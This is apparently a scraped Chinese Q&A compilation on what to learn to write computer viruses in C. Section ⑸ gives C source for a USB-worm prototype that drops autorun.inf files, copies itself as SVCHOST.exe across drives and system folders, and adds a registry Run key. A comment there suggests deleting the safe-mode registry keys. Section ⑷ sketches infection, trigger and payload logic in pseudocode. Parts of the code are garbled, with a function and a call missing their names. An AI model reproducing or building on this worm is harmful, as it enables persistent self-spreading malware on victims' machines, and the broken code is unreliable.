⑴ 學會了c語言,還要學習什麼知識才能編寫病毒
WINDOWS系統原理,注冊表等等
P.S.
你說你除了解決數學問題什麼都不會,說明你沒有練習過編寫實際應用的程序,應該多試試編寫自己感興趣的程序
病毒,最簡單的不就是刪幾個文件,改改注冊表了
⑵ 我想學寫病毒代碼,不知要先學什麼
從C語言開始學吧..
不過你現在什麼都不懂的狀態的話,是很要下工夫的(要能隨意隨地的寫代碼,我想至少也要學個2年吧)
⑶ 做病毒要學什麼
首先就是要學習編程語言
再有就是要學習網路基礎知識和網路安全知識
還有就是系統分析.....
⑷ 怎樣用C語言編寫病毒 / 藍訊
要編制一個病毒,首先要知道病毒的運行機理。
不論是何種病毒,它一般在結構上分為三個功能模塊:感染機制,觸發機制和有效載荷。
在病毒結構中,首要的而且唯一必需的部分是感染機制。病毒首先必須是能夠繁殖自身的代碼,這是病毒之所以成為病毒的根本
原因。我們可以用一段類C偽碼來表示這個過程。
InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}
病毒的第二個主要構成部分是有效載荷觸發事件.一個病毒來到你的電腦後,不大可能立即發作,否則它不會被傳播得很遠.潛伏的敵人永遠要比能見到的敵人危險得多.病毒一般是在找到一定數量的感染體,某一日期或時間,某一段文本後觸發.
一個簡單的觸發機制可能是這樣工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}
有效載荷就是病毒用來騷擾你的電腦的方法,有觸發機制的病毒一般也有有效載荷。它可以是任意的給你發一條一次性簡單的愚弄信息,重新格式化你的磁碟,把它自己郵給你的E_mail通信者都可以成為有效的負荷。簡單的有效負荷可以如下進行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}
⑸ 如何用C語言寫病毒
在讀本程序前請保證不用此程序進行違法活動,否則,請馬上離開.最基本的病毒.
本病毒的功能:
1.在C、D、E盤和c:\windows\system、c:\windows中生成本病毒體文件
2.在C、D、E盤中生成自動運行文件
3.注冊c:\windows\system\svchost.exe,使其開機自動運行
4.在C:\windows\system下生成隱蔽DLL文件
5.病毒在執行後具有相聯復制能力本病毒類似普通U盤病毒雛形,具備自我復制、運行能力。以下程序在DEV-CPP 4.9.9.2(GCC編譯器)下編譯通過
請保存為SVCHOST.C編譯,運行,本病毒對計算機無危害,請放心研究
/* SVCHOST.C */
/* SVCHOST.EXE */#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打開\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int (char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 注冊SVCHOST.exe,讓其在啟動時運行 */
return 0;
} 如果你想來狠點;把安全模式的注冊表項也刪除了.讓它進不了安全模式;
警告:不會修改注冊表的人;別運行本程序...
⑹ 怎麼用C語言寫病毒
操作系統吧,感覺這個挺重要的
⑺ 學完C語言,在學什麼才能寫出病毒
我覺得你要能夠編寫出病毒程序至少還要學習《操作系統》、《數據結構》以及一些網路安全相關的書。
⑻ 有同學告訴我在用C語言做殺毒軟體,怎麼回事那需要哪些知識
用C語言能做殺毒軟體 那你同學一定非常牛了
這不僅需要C語言的全部知識,而且要用到很多有關信息安全專業的專業知識
非計算機專業的是很難完成這種任務的
更何況現在市面上的殺毒軟體一般都不太會用C語言來編寫的 C語言更多是用來開發系統的
我猜你同學應該編的是針對某種病毒的殺毒軟體
⑼ 研究編寫計算機病毒都要學什麼
1.熟悉系統結構,了解注冊表,熟悉PE文件結構(計算機病毒隱藏感染必須要知道這些)
2.熟練掌握編程,目前功能最強大的是VC++,很多強大的病毒都是用他編寫的。
還要簡單學習社會工程學和密碼心理學,這些對病毒的隱藏和傳播功能設計都很有幫助。
⑽ 編寫病毒代碼,需要學什麼(註:我已會C語言)
寫病毒用什麼語言都可以。不過是一種工具,你只要精通它就行,要了解底層的東西,比如操作系統,計算機組成原理。
還有,誰說goto在C語言里禁用了?你去找到那個這么說的人,狠狠的抽他倆嘴巴!
goto不是天生的惡魔,C89,C99標准沒有取消它是有根據的。比如,for語句里套switch,在switch里怎麼跳出循環?break可不行。在比如,輸入法的軟鍵盤,需要檢索你按的那個鍵,如何構詞。goto就是最好的解決辦法。樓上的那兄弟用goto寫的是循環,沒有for這類的語句的時候,就是用的goto。